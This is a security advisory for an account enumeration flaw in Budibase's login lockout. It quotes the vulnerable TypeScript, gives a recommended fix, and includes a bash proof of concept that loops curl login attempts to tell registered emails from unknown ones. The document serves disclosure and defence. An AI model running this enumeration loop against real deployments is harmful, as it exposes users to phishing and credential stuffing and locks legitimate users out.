GHSA-cr7p-cr3q-h5cm
Budibase: Account Enumeration via Login Lockout Response Differential
상세
## Summary
The login lockout mechanism in Budibase creates an observable response discrepancy that allows unauthenticated attackers to enumerate valid email addresses. When an existing user's account is locked after 5 failed login attempts, the server returns a distinct `403` response with `X-Account-Locked: 1` and `Retry-After: 900` headers plus the message "Account temporarily locked." For non-existing users, the response is always a generic `403 "Unauthorized"` regardless of attempt count, because the lockout counter is never incremented.
## Details
The vulnerability exists in two files that implement the login lockout feature:
**`packages/worker/src/middleware/lockout.ts:18-36`** — The lockout middleware only blocks requests for users that exist in the database AND are locked:
```typescript export default async (ctx: Ctx, next: Next) => { const email = ctx.request.body.username if (!email) { return await next() } const dbUser = await userSdk.db.getUserByEmail(email) if (dbUser && (await isLocked(email))) { // line 26: non-existing users skip this entirely ctx.set("X-Account-Locked", "1") ctx.set("Retry-After", String(env.LOGIN_LOCKOUT_SECONDS)) ctx.throw(403, "Account temporarily locked. Try again later.") } return await next() } ```
**`packages/worker/src/api/controllers/global/auth.ts:127-141`** — The login handler only increments the failure counter for existing users:
```typescript if (err || !user) { if (dbUser) { // line 129: non-existing users never trigger onFailed() await onFailed(email) } if (await isLocked(email)) { return handleLockoutResponse(ctx, email) } // ... return passportCallback(ctx, user as any, err, info) } ```
**Execution flow for existing users (after 5 failed attempts):** 1. `lockout` middleware → `getUserByEmail` returns user → `isLocked` returns true → 403 + `X-Account-Locked: 1` + `Retry-After: 900` + "Account temporarily locked"
**Execution flow for non-existing users (any number of attempts):** 1. `lockout` middleware → `getUserByEmail` returns null → `dbUser && isLocked` is false → passes through 2. Login handler → passport fails → `if (dbUser)` is false → `onFailed()` never called → lock never set 3. Always returns 403 "Unauthorized"
No IP-based rate limiting exists on the login endpoint (`POST /api/global/auth/:tenantId/login`). The route is registered via `loggedInRoutes` which applies no authentication middleware. The password reset endpoint has proper IP-based rate limiting, but the login endpoint does not.
## PoC
```bash # Test against a known-existing email and a non-existing email # Replace 'default' with the target tenant ID
# Step 1: Send 6 login attempts for an existing user echo "=== Testing existing user ===" for i in $(seq 1 6); do echo "--- Attempt $i ---" curl -s -D - -X POST http://localhost:10000/api/global/auth/default/login \ -H 'Content-Type: application/json' \ -d '{"username":"local@budibase.com","password":"wrongpassword"}' 2>&1 \ | grep -E 'HTTP/|X-Account-Locked|Retry-After|locked|Unauthorized' echo "" done
# Expected: Attempts 1-5 return "Unauthorized" # Attempt 6 returns: "Account temporarily locked" + X-Account-Locked: 1 + Retry-After: 900
# Step 2: Send 6 login attempts for a non-existing user echo "=== Testing non-existing user ===" for i in $(seq 1 6); do echo "--- Attempt $i ---" curl -s -D - -X POST http://localhost:10000/api/global/auth/default/login \ -H 'Content-Type: application/json' \ -d '{"username":"nonexistent@example.com","password":"wrongpassword"}' 2>&1 \ | grep -E 'HTTP/|X-Account-Locked|Retry-After|locked|Unauthorized' echo "" done
# Expected: All 6 attempts return "Unauthorized" — no lockout ever triggers
# The difference in behavior after 5 attempts confirms whether the email exists. ```
## Impact
- **Account enumeration**: An unauthenticated attacker can determine whether any email address is registered on a Budibase tenant by sending 5-6 login requests and observing whether the response changes to "Account temporarily locked" with the `X-Account-Locked` header. - **No rate limiting**: The login endpoint has no IP-based rate limiting, allowing an attacker to enumerate emails at high speed from a single IP address (~5 requests per email). - **Denial of service side-effect**: Each enumerated existing email is locked out for 15 minutes (900 seconds), preventing legitimate users from logging in during that window. - **Enables further attacks**: Confirmed valid emails can be used for targeted phishing, credential stuffing against other services, or social engineering.
## Recommended Fix
The lockout behavior should be identical regardless of whether the user exists. Apply lockout tracking based on the email string itself, not conditioned on database user existence:
**`packages/worker/src/middleware/lockout.ts`** — Remove the `dbUser` check:
```typescript export default async (ctx: Ctx, next: Next) => { const email = ctx.request.body.username if (!email) { return await next() } // Check lock status based on email alone, not user existence if (await isLocked(email)) { ctx.set("X-Account-Locked", "1") ctx.set("Retry-After", String(env.LOGIN_LOCKOUT_SECONDS)) ctx.throw(403, "Account temporarily locked. Try again later.") } return await next() } ```
**`packages/worker/src/api/controllers/global/auth.ts`** — Remove the `dbUser` guard around `onFailed`:
```typescript if (err || !user) { // Always increment failure counter regardless of user existence await onFailed(email) if (await isLocked(email)) { return handleLockoutResponse(ctx, email) } // ... } ```
Additionally, consider adding IP-based rate limiting to the login endpoint (similar to what already exists on the password reset endpoint) to limit enumeration throughput.
이 버전이 영향받나요?
사용 중인 패키지 버전을 입력하면 즉시 평가합니다.
영향 패키지
0 No fixed version published yet for @budibase/server (npm). Pin to a known-safe version or switch to an alternative.
참고
- https://github.com/Budibase/budibase/security/advisories/GHSA-cr7p-cr3q-h5cm [WEB]
- https://github.com/Budibase/budibase/pull/19108 [WEB]
- https://github.com/Budibase/budibase/commit/eaae816ab81615c07eb10e4619af078d00e2a706 [WEB]
- https://github.com/Budibase/budibase [PACKAGE]
- https://github.com/Budibase/budibase/releases/tag/3.39.25 [WEB]